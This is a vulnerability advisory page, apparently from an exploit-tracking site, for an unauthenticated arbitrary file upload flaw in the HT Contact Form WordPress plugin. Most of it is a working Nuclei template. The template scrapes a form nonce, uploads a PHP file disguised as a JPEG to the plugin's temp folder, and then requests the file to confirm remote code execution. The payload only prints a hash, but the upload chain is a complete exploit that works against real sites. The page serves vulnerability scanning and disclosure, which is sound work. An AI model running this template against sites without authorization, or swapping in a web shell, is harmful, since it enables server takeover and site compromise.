CVE-2025-7340: HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload

2026-11-12 PoC Public

Description

The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.

Details

CVE
CVE-2025-7340 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2025-7340

info:
  name: HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.
  impact: |
    An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.
  remediation: |
    Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7340
    - https://github.com/advisories/GHSA-85f4-4cwm-5xmr
    - https://wpscan.com/vulnerability/91f39d58-1379-4908-bdeb-9c9bce39fb2c/
    - https://plugins.trac.wordpress.org/changeset?old_path=/ht-contactform/tags/2.2.1&new_path=/ht-contactform/tags/2.2.2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-7340
    epss-score: 0.01751
    epss-percentile: 0.7806
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: hasthemes
    product: ht-contactform
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ht-contactform/"
  tags: cve,cve2025,wordpress,wp-plugin,ht-contactform,fileupload,rce,unauth,intrusive,vkev

variables:
  canary: "{{to_lower(rand_text_alpha(16))}}"
  fname: "{{to_lower(rand_text_alpha(8))}}"
  boundary: "{{rand_base(24)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?search=ht_form&_fields=link HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"link"'
        internal: true

    extractors:
      - type: regex
        name: slug
        part: body
        internal: true
        group: 1
        regex:
          - '"link":"[^"]*?\\/([a-zA-Z0-9_-]+)\\/?"'

  - raw:
      - |
        GET /{{slug}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'ht_form'
          - '"nonce"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'ht_form\s*=\s*\{[^}]*?"nonce":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="ht_form_file"; filename="{{fname}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{canary}}"); ?>
        --{{boundary}}--

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"file_id"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fileid
        part: body
        internal: true
        group: 1
        regex:
          - '"file_id":"([^"]+\.php)"'

  - raw:
      - |
        GET /wp-content/uploads/ht_form/temp/{{fileid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, md5(canary))'

      - type: status
        status:
          - 200
# digest: 4a0a004730450220047166ff0b67fb736c01eb7ac41a5d3387a760d1e03da129691ebaa3f7ef77c8022100a4762a5ca05532cc82dc4ea66ed78fed1cf58c839aa256931f2c6897c293d5ae:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life